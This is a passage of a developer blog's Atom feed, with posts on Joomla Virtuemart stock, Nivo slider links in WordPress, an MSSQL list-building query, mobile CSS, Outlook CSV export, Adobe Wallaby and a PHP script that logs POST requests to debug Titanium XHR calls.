The main cause for this is if the product is out of stock. In my case I had a -2 in the stock amount for the products that were not showing. &lt;br /&gt;
&lt;br /&gt;
Change this by going into the admin-&gt;virtuemart-&gt;product list-&gt; edit product and change the stock on the Product Status Tab.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7766821073218640079-1717298492589355058?l=blog.codepyro.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/146Chq6Huvk0VP_DJ0uZyyiubSY/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/146Chq6Huvk0VP_DJ0uZyyiubSY/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/146Chq6Huvk0VP_DJ0uZyyiubSY/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/146Chq6Huvk0VP_DJ0uZyyiubSY/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Codepyro/~4/4TsRK1AFtKU" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.codepyro.com/feeds/1717298492589355058/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.codepyro.com/2012/01/joomla-virtuemart-product-search-plugin.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7766821073218640079/posts/default/1717298492589355058?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7766821073218640079/posts/default/1717298492589355058?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Codepyro/~3/4TsRK1AFtKU/joomla-virtuemart-product-search-plugin.html" title="Joomla Virtuemart Product search plugin not finding products" /><author><name>Josh Tischer :: CodePyro</name><uri>http://www.blogger.com/profile/00151801163744004941</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://1.bp.blogspot.com/_kn9del4J-Kc/StlOrrOrdtI/AAAAAAAAC00/qRlFz_YCsig/S220/me+by+the+lake.JPG" /></author><thr:total>0</thr:total><feedburner:origLink>http://blog.codepyro.com/2012/01/joomla-virtuemart-product-search-plugin.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D0IESXgzfSp7ImA9WhRXFU0.&quot;"><id>tag:blogger.com,1999:blog-7766821073218640079.post-7637248690903975553</id><published>2011-12-21T14:05:00.000-08:00</published><updated>2011-12-21T14:11:48.685-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-12-21T14:11:48.685-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="wordpress" /><category scheme="http://www.blogger.com/atom/ns#" term="slider" /><title>How to Add  an image link to a Nivo Slider using Next Gen Gallery for Wordpress</title><content type="html">This setup is for when you need to use a custom field say a Link for your Next Gen Gallery images while viewing the images in a Nivo Slider. In particular I am using the Easy Nivo Slider. &lt;br /&gt;
&lt;br /&gt;
First get your gallery setup with all of your images. Next go get the &lt;a href="http://wordpress.org/extend/plugins/nextgen-gallery-custom-fields/"&gt;Next Gen Gallery Custom Fields &lt;/a&gt;. Once the plugin is installed add a new field called "link", now each of your images will have a link field in the gallery manager. Fill out a link for each. &lt;br /&gt;
&lt;br /&gt;
Next in the Easy Nivo Slider get that plugged into an article or in one of your templates. Once that is done and the slideshow is running at the dimensions that you need. Your ready to add the custom fields to the output.&lt;br /&gt;
&lt;br /&gt;
The Custom fields in the Next Gen gallery are not called in the Easy Nivo Slider so we will need to use some functions to get the particular field. &lt;br /&gt;
&lt;br /&gt;
Open up the file plugins/easy-nivo-slider/nextgen/list-images.php &lt;br /&gt;
&lt;br /&gt;
You should find the php code that displays the image tag around 185.&lt;br /&gt;
&lt;pre class="brush: plain"&gt;echo '&amp;lt;img src=&amp;quot;'.$image-&amp;gt;imageURL.'&amp;quot; '. $image_description.$size.' border=&amp;quot;0&amp;quot; /&amp;gt;';
&lt;/pre&gt;&lt;br /&gt;
Just before that code we are going to add the php to output our new custom link field. &lt;br /&gt;
We will use the function from the Next Gen Gallery Custom Fields functions.php file called nggcf_get_field. It takes 2 parameters ('PHOTO ID','CUSTOM FIELD NAME')&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="brush: plain"&gt;//get the field value from the Next Gen Gallery Custom Fields using the photo id
  $linkval= nggcf_get_field($result-&amp;gt;pid,'link');
  if($linkval !='')
     echo &amp;quot;&amp;lt;a href=\&amp;quot;&amp;quot; . $linkval . &amp;quot;\&amp;quot;&amp;gt;&amp;quot;;
&lt;/pre&gt;&lt;br /&gt;
So thats it now you have outputted your custom field of link before the image is ouput. I would also reccomend closing the a tag after the image is displayed. Here is the full snippet.&lt;br /&gt;
&lt;pre class="brush: plain"&gt;//codepyro hack using the next gen gallery custom fields to get  the custom field of link for each photo
              $linkval= nggcf_get_field($result-&amp;gt;pid,'link');
             if($linkval !='')
               echo &amp;quot;&amp;lt;a href=\&amp;quot;&amp;quot; . $linkval . &amp;quot;\&amp;quot;&amp;gt;&amp;quot;;

            // Output the image
            // Note that this outputs the original nextgen image, not the resized one.  need to figure out how
            // to get that one, if it exists

            echo '&amp;lt;img src=&amp;quot;'.$image-&amp;gt;imageURL.'&amp;quot; '. $image_description . $size .' border=&amp;quot;0&amp;quot; /&amp;gt;';

             if($linkval !='')
                 echo '&amp;lt;/a&amp;gt;';
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7766821073218640079-7637248690903975553?l=blog.codepyro.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/zfJNb3e29HwdVcF_2mGn9yo-TUk/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/zfJNb3e29HwdVcF_2mGn9yo-TUk/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/zfJNb3e29HwdVcF_2mGn9yo-TUk/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/zfJNb3e29HwdVcF_2mGn9yo-TUk/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Codepyro/~4/NvjsFNROFEw" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.codepyro.com/feeds/7637248690903975553/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.codepyro.com/2011/12/how-to-add-link-for-each-image-in-nivo.html#comment-form" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7766821073218640079/posts/default/7637248690903975553?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7766821073218640079/posts/default/7637248690903975553?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Codepyro/~3/NvjsFNROFEw/how-to-add-link-for-each-image-in-nivo.html" title="How to Add  an image link to a Nivo Slider using Next Gen Gallery for Wordpress" /><author><name>Josh Tischer :: CodePyro</name><uri>http://www.blogger.com/profile/00151801163744004941</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://1.bp.blogspot.com/_kn9del4J-Kc/StlOrrOrdtI/AAAAAAAAC00/qRlFz_YCsig/S220/me+by+the+lake.JPG" /></author><thr:total>1</thr:total><feedburner:origLink>http://blog.codepyro.com/2011/12/how-to-add-link-for-each-image-in-nivo.html</feedburner:origLink></entry><entry gd:etag="W/&quot;C0YESXY8eip7ImA9WhRXFE4.&quot;"><id>tag:blogger.com,1999:blog-7766821073218640079.post-3410199292675363500</id><published>2011-12-20T17:31:00.000-08:00</published><updated>2011-12-20T17:31:48.872-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-12-20T17:31:48.872-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="t-sql" /><category scheme="http://www.blogger.com/atom/ns#" term="SQL" /><title>MSSQL subquery as a list.. i.e. return categories as a select item</title><content type="html">If you have ever wondered how to return a list of categories with a select statement heres the answer. It actually comes from &lt;a href="http://stackoverflow.com/questions/3447309/convert-sql-subquery-to-list-or-varchar"&gt;StackOverflow&lt;/a&gt;.This is a repost so I can find it later as I am sure that I have needed to do this about 20 times in the past.&lt;br /&gt;
&lt;br /&gt;
This is Really clever and full credit goes to this really Smart guy Niikola&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Here is a simple-ish query, gets some user data along with the list of categories. The Category table is separate with a linking table called contact_category_xref which holds the category id and the contact id associated.&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="brush: plain"&gt;SELECT
c.id,
c.FirstName,
c.LastName,
c.email,
c.City,
c.State,
&lt;!---Amazing query to combine the reference table select into a list---&gt;
Stuff((select ','+cat.name from category cat left join 
        contact_category_xref x
        on cat.id = x.catid
        where x.contactid = c.id
        For XML PATH('')),1,1,'') as categoryList
FROM contacts c 

&lt;/pre&gt;&lt;br /&gt;
Ill attempt some explanation, feel free to jump in and offer corrections please.&lt;br /&gt;
&lt;br /&gt;
The first bit of Magic comes in the form of the "For XML Path('')" command in sql returns the query columns as XML which is incredibly handy. &lt;br /&gt;
&lt;br /&gt;
&lt;pre class="brush: plain"&gt;  "&lt;name&gt;pizza&lt;/name&gt;,&lt;name&gt;pie&lt;/name&gt;"
&lt;/pre&gt;&lt;br /&gt;
Now to get rid of the xml portion concatenating the comma before the cat.name   returns the list without XML. example ',pizza,pie,cookies,snickers'&lt;br /&gt;
&lt;i&gt;I have no Idea how this works or why but it does. Please feel free to explain if you know.&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
So Whats left is the STUFF command which removes the first character for 1 character in length and replaces it with ''. Which means we are left with our nicely formatted list 'pizza,pie,cookies,snickers'.&lt;br /&gt;
&lt;br /&gt;
Pretty COOL i must say.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7766821073218640079-3410199292675363500?l=blog.codepyro.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/VvEnW_OYgA9NwJ0SJxftSJSSnd4/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/VvEnW_OYgA9NwJ0SJxftSJSSnd4/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/VvEnW_OYgA9NwJ0SJxftSJSSnd4/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/VvEnW_OYgA9NwJ0SJxftSJSSnd4/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Codepyro/~4/87-Q6L-wUnM" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.codepyro.com/feeds/3410199292675363500/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.codepyro.com/2011/12/mssql-subquery-as-list-ie-return.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7766821073218640079/posts/default/3410199292675363500?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7766821073218640079/posts/default/3410199292675363500?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Codepyro/~3/87-Q6L-wUnM/mssql-subquery-as-list-ie-return.html" title="MSSQL subquery as a list.. i.e. return categories as a select item" /><author><name>Josh Tischer :: CodePyro</name><uri>http://www.blogger.com/profile/00151801163744004941</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://1.bp.blogspot.com/_kn9del4J-Kc/StlOrrOrdtI/AAAAAAAAC00/qRlFz_YCsig/S220/me+by+the+lake.JPG" /></author><thr:total>0</thr:total><feedburner:origLink>http://blog.codepyro.com/2011/12/mssql-subquery-as-list-ie-return.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D0cARH4ycCp7ImA9WhRQGE4.&quot;"><id>tag:blogger.com,1999:blog-7766821073218640079.post-1360279908156067534</id><published>2011-12-13T19:57:00.000-08:00</published><updated>2011-12-13T19:57:25.098-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-12-13T19:57:25.098-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="wordpress" /><category scheme="http://www.blogger.com/atom/ns#" term="mobile" /><title>Size Nivo slideshows for mobile using CSS</title><content type="html">Yep, you sure can scale and re-size the Nivo and many other jQuery or Mootools slideshows using CSS media queries. &lt;br /&gt;
&lt;br /&gt;
To get started I am using&lt;br /&gt;
The &lt;a href="http://www.theemeraldcurtain.com/wordpress-plugin/easy-nivo-slider/"&gt;easy-nivo-slider &lt;/a&gt; for Wordpress. This is in conjunction with Really Nice &lt;a href="http://alexrabe.de/wordpress-plugins/nextgen-gallery/"&gt;NextGen Wordpress Gallery&lt;/a&gt; Manager plugin. &lt;br /&gt;
&lt;i&gt; (If you need to learn these just visit their respective pages.)&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
Now to the quick goodies. I am only showing the normal website width and a small mobile. I would reccomend setting another media query for around 768px wide, or go look up common &lt;a href="http://mobiforge.com/designing/story/effective-design-multiple-screen-sizes"&gt;mobile device screen sizes&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="brush: plain"&gt;//Normal width of a website
 .easy-nivo-slider-first
{ 
  width:700px;
}

//CSS media Query for screen sizes less than or equal too 320px wide
@media only screen and (max-width: 320px) {
 .easy-nivo-slider-first
{  
width:300px;
}

&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7766821073218640079-1360279908156067534?l=blog.codepyro.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/2vXrlyS18-wTILoZsW-eE4CFo_k/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/2vXrlyS18-wTILoZsW-eE4CFo_k/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/2vXrlyS18-wTILoZsW-eE4CFo_k/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/2vXrlyS18-wTILoZsW-eE4CFo_k/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Codepyro/~4/c-RsgcWzl8M" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.codepyro.com/feeds/1360279908156067534/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.codepyro.com/2011/12/size-nivo-slideshows-for-mobile-using.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7766821073218640079/posts/default/1360279908156067534?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7766821073218640079/posts/default/1360279908156067534?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Codepyro/~3/c-RsgcWzl8M/size-nivo-slideshows-for-mobile-using.html" title="Size Nivo slideshows for mobile using CSS" /><author><name>Josh Tischer :: CodePyro</name><uri>http://www.blogger.com/profile/00151801163744004941</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://1.bp.blogspot.com/_kn9del4J-Kc/StlOrrOrdtI/AAAAAAAAC00/qRlFz_YCsig/S220/me+by+the+lake.JPG" /></author><thr:total>0</thr:total><feedburner:origLink>http://blog.codepyro.com/2011/12/size-nivo-slideshows-for-mobile-using.html</feedburner:origLink></entry><entry gd:etag="W/&quot;A08GQ3c4fSp7ImA9WhRRGEk.&quot;"><id>tag:blogger.com,1999:blog-7766821073218640079.post-103610424622461261</id><published>2011-12-02T10:15:00.000-08:00</published><updated>2011-12-02T10:17:02.935-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-12-02T10:17:02.935-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="outlook" /><category scheme="http://www.blogger.com/atom/ns#" term="import/export" /><title>Export Lists from Outlook to csv</title><content type="html">Open up the contacts&lt;br /&gt;
Click to highlight a list&lt;br /&gt;
Choose File-&gt;Save As&lt;br /&gt;
Change the Save As Type to "Text Only .txt"&lt;br /&gt;
&lt;br /&gt;
Save the file&lt;br /&gt;
Then open excel&lt;br /&gt;
Next goto File-&gt;Open Choose your file &lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-zM6izFf5C-s/TtkVseyNvaI/AAAAAAAADEs/8htkfjk_0tw/s1600/Untitled-1.jpg" imageanchor="1" style="clear:right; float:right; margin-left:1em; margin-bottom:1em"&gt;&lt;img border="0" height="230" width="320" src="http://2.bp.blogspot.com/-zM6izFf5C-s/TtkVseyNvaI/AAAAAAAADEs/8htkfjk_0tw/s320/Untitled-1.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;You should get a popup "Text Import Wizard" asking you about delimited, just leave the default. &lt;br /&gt;
- Choose Next&lt;br /&gt;
- make sure Tab is checked&lt;br /&gt;
- Click Finish&lt;br /&gt;
&lt;br /&gt;
Next choose File-&gt;Save As&lt;br /&gt;
Save your file as a csv&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7766821073218640079-103610424622461261?l=blog.codepyro.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/ZjjlWB7KwOkH2f4iGIuVJaDM_jc/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/ZjjlWB7KwOkH2f4iGIuVJaDM_jc/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/ZjjlWB7KwOkH2f4iGIuVJaDM_jc/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/ZjjlWB7KwOkH2f4iGIuVJaDM_jc/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Codepyro/~4/RIbXHoEsL2o" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.codepyro.com/feeds/103610424622461261/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.codepyro.com/2011/12/export-lists-from-outlook.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7766821073218640079/posts/default/103610424622461261?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7766821073218640079/posts/default/103610424622461261?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Codepyro/~3/RIbXHoEsL2o/export-lists-from-outlook.html" title="Export Lists from Outlook to csv" /><author><name>Josh Tischer :: CodePyro</name><uri>http://www.blogger.com/profile/00151801163744004941</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://1.bp.blogspot.com/_kn9del4J-Kc/StlOrrOrdtI/AAAAAAAAC00/qRlFz_YCsig/S220/me+by+the+lake.JPG" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/-zM6izFf5C-s/TtkVseyNvaI/AAAAAAAADEs/8htkfjk_0tw/s72-c/Untitled-1.jpg" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://blog.codepyro.com/2011/12/export-lists-from-outlook.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CUcMRnY8cCp7ImA9WhdSGUo.&quot;"><id>tag:blogger.com,1999:blog-7766821073218640079.post-6646081662983312522</id><published>2011-07-29T13:58:00.000-07:00</published><updated>2011-07-29T13:58:07.878-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-07-29T13:58:07.878-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="html5" /><category scheme="http://www.blogger.com/atom/ns#" term="adobe" /><category scheme="http://www.blogger.com/atom/ns#" term="flash" /><title>Adobe Wallaby - flash to html5 canvas conversion tool</title><content type="html">Just gave wallaby a try with a new flash project. &lt;a href="http://labs.adobe.com/technologies/wallaby/"&gt;Wallaby&lt;/a&gt; is a beta utility that converts flash fla to html5 svg. It has some problems but I am pretty impressed with it thus far. Although it doesn't produce anything of professional quality nor create anything that can be polished. Can't wait until its a fully functional product, its about time adobe figured out a way to support more devices! &lt;br /&gt;
&lt;br /&gt;
Here are a list of &lt;a href="http://labs.adobe.com/wiki/index.php/Wallaby#Release_Notes"&gt;release notes with supported features below&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
Browsers tested and sorta working:&lt;br /&gt;
Safari 5.0.3 - had some loading issues but good results&lt;br /&gt;
iPod mobile safari v???  - partly worked, not all animation loaded&lt;br /&gt;
Chrome v12.0.742.122 - best results&lt;br /&gt;
&lt;br /&gt;
Firefox 5 - dont work at all :(&lt;br /&gt;
IE9 - failure as well &lt;br /&gt;
&lt;br /&gt;
The animation came across exactly as in the flash fla (CS4). &lt;br /&gt;
Sound did not get converted&lt;br /&gt;
Buttons - hover actions and links don't work&lt;br /&gt;
&lt;br /&gt;
Convert project contains&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;jQuery 1.4.2&lt;/li&gt;
  &lt;li&gt;project_source_assets - folder for all the svg files&lt;/li&gt;
&lt;li&gt;project.html - loads all svg resource in div containers with styles for the resource/tween/sprite.&lt;/li&gt;
&lt;li&gt;project.js - file that starts animation for objects and children&lt;/li&gt;
&lt;li&gt;project.css - styles and css based webkit animations, the styles have an underscore and a number which seems to inidicate the motion or tween setup in flash.&lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;
i.e.   &lt;br /&gt;
&lt;pre class="brush: plain"&gt;.wlby_260
{
    -webkit-animation-duration: 0.28125s;
    display: none;
    position: absolute;
    -webkit-transform: matrix(1, 0, 0, 1, 182.55, 270.05);
}

&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7766821073218640079-6646081662983312522?l=blog.codepyro.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/fdUxI-RrfB5lVDXa6HWfk_DU53I/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/fdUxI-RrfB5lVDXa6HWfk_DU53I/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/fdUxI-RrfB5lVDXa6HWfk_DU53I/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/fdUxI-RrfB5lVDXa6HWfk_DU53I/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Codepyro/~4/Uc1Fm2LTlQQ" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.codepyro.com/feeds/6646081662983312522/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.codepyro.com/2011/07/adobe-wallaby-flash-to-html5-canvas.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7766821073218640079/posts/default/6646081662983312522?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7766821073218640079/posts/default/6646081662983312522?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Codepyro/~3/Uc1Fm2LTlQQ/adobe-wallaby-flash-to-html5-canvas.html" title="Adobe Wallaby - flash to html5 canvas conversion tool" /><author><name>Josh Tischer :: CodePyro</name><uri>http://www.blogger.com/profile/00151801163744004941</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://1.bp.blogspot.com/_kn9del4J-Kc/StlOrrOrdtI/AAAAAAAAC00/qRlFz_YCsig/S220/me+by+the+lake.JPG" /></author><thr:total>0</thr:total><feedburner:origLink>http://blog.codepyro.com/2011/07/adobe-wallaby-flash-to-html5-canvas.html</feedburner:origLink></entry><entry gd:etag="W/&quot;Ck4DRX0-eip7ImA9WhdSFk4.&quot;"><id>tag:blogger.com,1999:blog-7766821073218640079.post-8533850523890778171</id><published>2011-07-25T14:56:00.000-07:00</published><updated>2011-07-25T14:56:14.352-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-07-25T14:56:14.352-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="xhr" /><category scheme="http://www.blogger.com/atom/ns#" term="php" /><category scheme="http://www.blogger.com/atom/ns#" term="Titanium" /><title>Debugging Titanium xhr requests with php</title><content type="html">Authentication for xhr request for Appcelerator Titanium is difficult. During my latest bout with the cross platform mobile app platform I discovered that XHR request header variable names get renamed (aka case changes). &lt;br /&gt;
&lt;br /&gt;
For the auth part of the app being worked on requires sending a Session Key for authorization for every request after the user is logged in. For a good tutorial on how a more basic authorization might work go check out &lt;a href="http://mobile.tutsplus.com/tutorials/appcelerator/titanium-user-authentication/"&gt;Titanium User Authentication&lt;/a&gt;. In any case request headers sent from Titanium are re-cased i.e. "UserAuthKey" becomes "Userauthkey". &lt;br /&gt;
&lt;br /&gt;
To discover this lil gem of a problem after hours of poking I chose to find and use a logging utility to see what was actually being sent. &lt;br /&gt;
&lt;br /&gt;
Below is a quick php POST logging utility from &lt;a href="http://blog.apokalyptik.com/2008/03/25/logging-post-data/comment-page-1/"&gt;CodeWord&lt;/a&gt; with headers added. This logging utility serializes the incoming Post request to a logs directory. It makes it easy to see the variables being passed in and headers. &lt;br /&gt;
&lt;br /&gt;
To use, create a php file called xhrlog.php. Upload to your favorite testing server. Ensure you have a directory called "logs". Then submit your xhr POST requests to MYDOMAIN.com/xhrlog.php from php, html, android, titanium.. wherever and it'll log it for you!&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="brush: plain"&gt;&amp;lt;?php

 
  /*function from http://blog.apokalyptik.com/2008/03/25/logging-post-data/comment-page-1/
Creates a log file of the POST request
*/ 
if ( isset($_POST) &amp;amp;&amp;amp; is_array($_POST) &amp;amp;&amp;amp; count($_POST) &amp;gt; 0 ) {
  $log_dir = dirname( __FILE__ ) . '/logs/';
  $log_name = &amp;quot;posts-&amp;quot; . $_SERVER['REMOTE_ADDR'] . &amp;quot;-&amp;quot; . date(&amp;quot;Y-m-d-H&amp;quot;) . &amp;quot;.log&amp;quot;;
  $log_entry = gmdate('r') . &amp;quot;\t&amp;quot; .serialize(parseRequestHeaders()).&amp;quot;\n &amp;quot;. $_SERVER['REQUEST_URI'] . &amp;quot;\r\n&amp;quot; . serialize($_POST) . &amp;quot;\r\n\r\n&amp;quot;;
  $fp=fopen( $log_dir . $log_name, 'a' );
  fputs($fp, $log_entry);
  fclose($fp); }
   
/*
function copied from stackoverflow http://stackoverflow.com/questions/541430/how-do-i-read-any-request-header-in-php

Parses html request headers
*/
  function parseRequestHeaders() {
    $headers = array();
    foreach($_SERVER as $key =&amp;gt; $value) {
        if (substr($key, 0, 5) &amp;lt;&amp;gt; 'HTTP_') {
            continue;
        }
        $header = str_replace(' ', '-', ucwords(str_replace('_', ' ', strtolower(substr($key, 5)))));
        $headers[$header] = $value;
    }
    return $headers;
}

?&amp;gt;


&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7766821073218640079-8533850523890778171?l=blog.codepyro.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/_DAKLKgaPH_g6puhHHduyWUadBk/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/_DAKLKgaPH_g6puhHHduyWUadBk/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/_DAKLKgaPH_g6puhHHduyWUadBk/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/_DAKLKgaPH_g6puhHHduyWUadBk/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Codepyro/~4/5oaiAIghok4" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.codepyro.com/feeds/8533850523890778171/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.codepyro.com/2011/07/debugging-titanium-xhr-requests-with.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7766821073218640079/posts/default/8533850523890778171?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7766821073218640079/posts/default/8533850523890778171?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Codepyro/~3/5oaiAIghok4/debugging-titanium-xhr-requests-with.html" title="Debugging Titanium xhr requests with php" /><author><name>Josh Tischer :: CodePyro</name><uri>http://www.blogger.com/profile/00151801163744004941</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" 